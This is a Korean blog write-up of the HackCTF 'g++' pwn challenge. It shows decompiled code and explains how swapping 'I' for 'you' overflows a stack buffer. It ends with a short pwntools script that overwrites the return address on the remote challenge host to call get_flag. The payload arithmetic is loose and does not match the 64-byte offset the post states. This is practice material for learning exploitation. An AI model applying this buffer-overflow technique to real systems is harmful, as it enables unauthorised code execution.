g++

2022. 4. 19. 22:46·Wargame/HackCTF
int __cdecl main(int argc, const char **argv, const char **envp)
{
          vuln();
            return 0;
}

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]
 
  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\n", &s);
}

코드가 꽤 난잡하다. 그냥 실행해봤다.

실행 시 I를 Input 시키면 you로 바뀌어 출력되는 것을 확인할 수 있다.

 

일반적이라면 fgets함수는 32bytes를 받고, s는 ebp-3C여서 BOF가 불가능하지만, 이 프로그램에서 I를 you로 바꿔주기에 BOF가 가능해진다. 예로 s는 ebp부터 60만큼의 거리에 있는데, I를 20개 넣으면 you로 바꾸어 스택에는 꽉 찬다.

 

이 원리를 이용하여 Dummy(64)만큼 넣고 Ret주소를 변조시키면 된다.

gdb-peda$ info func
    All defined functions:

    Non-debugging symbols:
    0x08048b98  _init
    	 ...
    0x08048f0d  get_flag

get_flag함수 확인.

 

Exploit Code

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3011)

system = 0x08048f0d

payload = "A" * 4
payload += "I" * 20
payload += p32(system)

p.sendline(payload)
p.interactive()
저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • 1996
  • Poet
  • RTL_World
  • Yes_or_no
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    cache poisoning
    RCE
    TsukuCTF2022
    Ubuntu 기초 셋팅
    Text Summarization
    Remote Code Execution
    GPNCTF
    bug report
    Ubuntu 기초
    Machine Learning
    Deep learning
    python
    pwntools
    TFCCTF2022
    justCTF
    ubuntu 명령어
    sqli
    bug hunter
    Crypto
    cache
  • 최근 댓글

  • 최근 글

Cronus
g++
상단으로

티스토리툴바